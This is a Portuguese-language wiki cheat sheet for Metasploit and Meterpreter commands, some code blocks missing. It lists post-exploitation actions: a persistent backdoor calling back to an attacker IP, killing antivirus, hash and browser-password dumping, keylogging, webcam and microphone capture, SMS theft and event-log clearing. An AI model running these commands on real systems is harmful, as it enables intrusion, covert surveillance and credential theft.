Metasploit
Inicializando
Devido ao grande número de ataques possíveis com o Metasploit (fora demais recursos que ele possui), decidi deixar um tópico somente para isso. Para inicializá-lo, execute:
Caso queira já iniciar com os parâmetros já configurados, crie um arquivo com cada "set" em uma linha, e utilize o comando abaixo:
Trabalhando com Banco de Dados
DICA: Assim que executar o comando, irá ser exibido o arquivo de configuração do banco (caso precise alterar algo). Geralmente o caminho do arquivo deve ser /usr/share/metasploit-framework/config/database.yml
.
Para ver as credenciais que já capturadas, execute:
MsfDB
O Metasploit trabalha com um o PostgreSQL para armazenar informações que podem ser utilizadas posteriormente.
Comandos Meterpreter
No diretório /usr/share/metasploit-framework/scripts/meterpreter
, há vários scripts que podem ser chamados pelo Meterpreter, através do comando run
ex.: run persistence
.
Caso queira adicionar um novo meterpreter, basta copiar o arquivo .rb
para esse diretório e depois executar (já no meterpreter) run <payload>
Obviamente para rodar um payload (no caso o meterpreter), precisa ter um exploit, então caso tenha baixado algum da net, jogue o exploit (que geralmente é uma pasta) em /usr/share/metasploit-framework/data/exploits/
ou /usr/share/metasploit-framework/modules/exploits/
.
Sempre que adicionar um novo script, execute o comando abaixo (dentro do Metasploit) para atualizar a lista:
DICA: É normal montarmos uma Reverse Shell com o Meterpreter e a sessão cair logo após. Para contornarmos isso, podemos utilizar o migrate
(explicação logo abaixo), ou configurar o Metasploit com o comando set AutoRunScript post/windows/manage/migrate
, sendo isso antes do comando exploit
.
Outra maneira, é executando o comando set AutoRunScript 'post/windows/manage/migrate'
, antes mesmo da shell meterpreter tiver 100% formada.
COMANDO
DESCRIÇÃO
msfupdate
Atualiza os componentes do Metasploit (recomendado atualizar pelo menos uma vez por semana)
msfconsole
Inicia o Metasploit
help
Lista os comandos
show
Mostra todos os comandos
show auxiliary
Mostra todos os comandos para auxiliary. Auxiliary são ferramentas auxiliares que não estão ligadas diretamente com o exploit, mas faz parte do processo de ataque, exemplo: Scanners, DDOS, Fuzzers, etc
show exploits
Mostra todos os exploits
show payloads
Mostra todos os payloads. Se tiver um exploit já selecionado, irá mostrar somente os payloads para esse exploit. Repare se o payload é Inline ou Staged, lembrando que, caso não apareca o seu tipo, assume-se que ele é Inline
show options
Mostra as configurações que estão disponíveis e / ou são necessarias para o módulo específico
show targets
Execute esse comando dentro do contexto de um módulo (ou seja, depois e já selecionar o módulo), assim irá saber se o SO é vulnerável a essa exploração
show advanced
Mostra o aperfeiçoamento das falhas de segurança. Para ver todas as opções do shows
, digite show
e pressione TAB
duas vezes
OBS.: Se você estiver utilizando uma exploração particular (ex.: Windows), ao executar o show payload
, não será mostrado os Payloads do Linux
search
Utilizado para quem tem uma idéia de que realmente sabe o que procura, ex.: search ms09-001
OBS.: Caso apareca uma mensagem informando que não foi possível conectar ao banco de dados ([!] Module database cache not built yet, using slow search
), corrija-o no tutorial contido aqui na Wiki
help <command>
Mostra a ajuda sobre determinado comando
sessions -u <session_id>
Atualiza sua Reverse Shell não-Meterpreter para uma shell Meterpreter
use post/multi/manage/shell_to_meterpreter
Antes de executar, pressione CTRL
+ Z
para jogar a session atual em background. Após definir o uso de shell_to
_
meterpreter
, configure a session atual
getenv PATH
Exibe as variáveis de ambiente
sysinfo
Informações sobre o SO
info
Fornece infomações detalhadas sobre um módulo em particular, incluindo todas as opções disponíveis.
Ex.: info dos/windows/smb/ms09_001_write
use
Quando estiver decidido sobre um módulo específico, utilize esse comando para selecioná-lo. Ex.: use exploit/windows/smb/ms03_049_netapi
connect
Utilize esse comando junto com um endereço IP e o número da porta, assim irá se conectar a um host remoto de dentro do msfconsole como se estivesse no netcat ou no telnet Ex.: connect 192.168.1.13 23
set
Comando utilizado para definir configurações as opções do módulo que está trabalhando no momento. Ex: set RHOST 192.168.1.13 Ex 2.: set rhosts 192.168.1.20-192.168.1.30 ou 192.168.1.0/24, 192.168.3.0/24) ,
sessions, background -l
, sessions-l
Lista as sessões que estão ativas
sessions <id_session>
, background -i <id_session>
Acessa a sessão
show encoders
Define um codificador para usar em tempo de execução. Isso é particularmente útil no desenvolvimento de explorar quando você não está completamente certo quanto à carga de métodos de codificação que irá trabalhar com um exploit. Depois de saber qual "encoder" utilizar, use o comando "set", ex.: set encoder x86/shikata_ga_nai
check
Utilize esse comando depois de definir o exploit e o IP do alvo (RHOST). Esse comando irá verificar se o host é vulnerável, antes mesmo de atacá-lo
run
Executa todas as configurações já definidas, por meios dos comandos "exploit" e "set"
back
Remove as configurações que definiu e deixa como se tivesse acaado de acessar o msfconsole
search -d </path/directory> -f *abc*
Procura por algum arquivo que tenha abc em alguma parte do nome
resource nome_arquivo.rc
Alguns ataques como Karmetasploit usa um arquivo de recurso, que são scripts básicos para o msfconsole. Ele executa os comandos do arquivo em sequência
irb
Irá cair em Ruby Script de modo onde pode emitir comandos e criar scripts personalizados
background
Deixa a sessão do Meterpreter em segundo plano. O mesmo pode ser feito com CTRL
+ Z
clearev
Irá limpar o Aplicativos e Serviços (Visualizador de Eventos), do Windows
checksum md5 <file>
Gera um hash MD5 de um determinado arquivo
ps
Serviços que estão sendo executados no Windows e seus respectivos PID
ps <pid>
Abre determinado programa
ps -S <search_proccess>
Procura por um determinado processo
migrate <pid>
Migra o PID do exploit para outro PID, por exemplo, o do antivírus ou o explorer. Assim além do antivírus não acha o vírus e o vírus só será encerrado se o antivírus também for encerrado. Esse é sem dúvida um dos primeiros comandos a ser executado. Se quiser, pode utilizar o -p
antes do <pid>.
Utilizando o migrate
que esteja para um serviço que seja de outro usuário, você irá fazer um impersonate para este usuário
screenshot
Realizar captura da tela da vítima
load powershell
Carrega a extensão para utilizar o Powershell
powershell_shell
Abre a shell interativa do Powershell. Utilize antes o comando load powershell
para habilitar essa funcionalidade.
powershell_execute <command>"
Executa um comando no Powershell sem precisar entrar no modo interativo. Utilize antes o comando load powershell
para habilitar essa funcionalidade.
powershell_execute Enable-PSRemoting -Force
Habilita o WinRM.
run persistence -S -L c:\\windows\\system32 -i 10 -p 4444 -r <ip_atacante>
Faz com que o backdoor fique persistente. Assim que o usuário fizer login, irá tentar fazer uma nova conexão de 10 em 10 segundos
run killav
Mata o antivírus
run enum_firefox
Pega todas as senhas salvas e cookies utilizadas no firefox
run hostsedit
Edita o arquivo hosts
run getcountermeasure
Ignora o antivírus, firewall e IDS
steal_token <pid>
Rouba o token. Por exemplo se roubarmos o PID do SQL Server, podemos ter acesso a todas as bases
download c:\\boot.ini
Faz o download do arquivo para o Linux
upload /root/arquivo.txt c:\\windows
Faz upload do arquivo.
ipconfig
Mostra as interfaces de rede
reboot
Reinicia a máquina
shutdown
Desliga a máquina
hashdump
Obtém os hashes dos usuários locais do SO
use post/windows/gather/hashdump
Pega os hashes dos usuários
OBS.: Precisa ser Administrador do sistema
use post/windows/gather/cachedump
Pega os hashes dos usuários que estão na memória
OBS.: Precisa ser Administrador do sistema
timestamp -h
Comandos usados para evitar detecção por uma perícia forense
idletime
Mostra quanto tempo a vítima está afastada da sua máquina, ou seja não houve sequer interação com o mouse ou teclado
cat c:\\<arquivo>
Lê o arquivo e mostra a saída no terminal
edit c:\\boot.ini
Edita o arquivo atraves do VIM
getuid
Mostra a autoridade do usuário que está utilizando no momento no sistema (hostname / user)
pwd
Diretório atual na máquina alvo
lpwd
Executa o comando pwd
na máquina no atacante
uictl
Comando usado para controlar o teclado / mouse (ativar ou desativar) da vítima
start
Abre um prompt no windows
clearenv
Limpa os log's do Windows
keyscan_start
Instala um keyogger
keyscan_dump
Resultado da captura do keyogger
keyscan_stop
Desliga o keylogger. Utilize o keyscan_dump
antes do keyscan_stop
lcd Deskop
Altera o valor de lpwd para /root/Deskop
tasklist
Serviços que estão sendo executados no Windows
resource arquivo.txt
Executa os comandos do arquivo txt
OBS.: Cada comando deve ficar em uma linha do arquivo txt
search -f arquivo.txt
Procura pelo arquivo arquivo.txt
search -f sea*.bat c:\\xamp\\
Procura por um arquivo porém de forma mais avançada
run getgui -u <usuario> -p <senha>
Acessa a máquina via Remote Desktop
arp
Mostra tabela ARP
use priv
Habilita extensão para ganho de privilégio
getsystem
Acessa como usuário SYSTEM. Se aparecer escrito Got system
, é porque deu certo
getprivs
Acessa como usuário SYSTEM, semelhante ao comando getsystem
run post/windows/gather/win_privs
O mesmo que getsystem
execute -f c\\virus.exe
Executa um arquivo em background na vítima
rev2self
Comando usado para voltar para usuário antigo
shell
Entra na Shell do SO
webcam_list
Mostra o nome das webcams
webcam_snap
Tira foto através da webcam
webcam_snap -i 1 -v false
Tira um print da tela da vítima
webcam_snap –I 2
Tira print screen pela segunda câmera, caso haja (Android)
record_mic
Grava áudio da vítima
webcam_list
Lista as webcams
webcam_stream
Acessa a Web em tempo real para fazer/gravar vídeos
webcam_strream –I 2
Grava vídeo pela segunda câmera, caso haja (Android)
dump_contacts
Faz um dump da agenda (Android)
dump_sms
Pegar os SMS (Android)
geolocate
Descobre a localização atual (Android)
run packetrecorder -li / run packetrecorder -i 1
Executa o tcpdump
search -f *.txt
Procura por arquivos com determinada extensão
Trabalhando com Variáveis
Assim que iniciar o msfconsole, digite set
, para ver as variáveis globais já definidas.
COMANDO
DESCRIÇÃO
setg
Define variáveis globais dentro do msfconsole
, assim pode usar com muitos exploits e módulos auxiliares e porderá usá-las na próxima vez que utilizar o msfconsole
save
Salva as variáveis definidas com setg
. Caso não salve, serão apagados assim que fechar o msfconsole
unsetg <nome_variavel>
Sempre utilize esse comando para remover os comandos salvos (caso tenho costume de salvar)
unsetg all
Remove todas as variáveis
Exemplo
Metasploit + NMAP
Antes de começar, certifique-se de que o PostgreSQL está em execução com o comando service postgresql status
.
Localizando Máquinas Zumbis
Descobrindo SO
OBS.: Observe que agora as informações recém-adquiridas são armazenadas no banco de dados do Metasploit. Para isso digite no terminal: db_hosts
Listando E-mails
Port Scan
Realizando scan em todos os hosts que possuem a porta 80 aberta
OBS.: Caso queira listar todos os "portscan", digite: search portscan
VNC
Procurando por alvo com VNC instalado
Scan por no-auth
Obtendo a senha do VNC
Sites
Last updated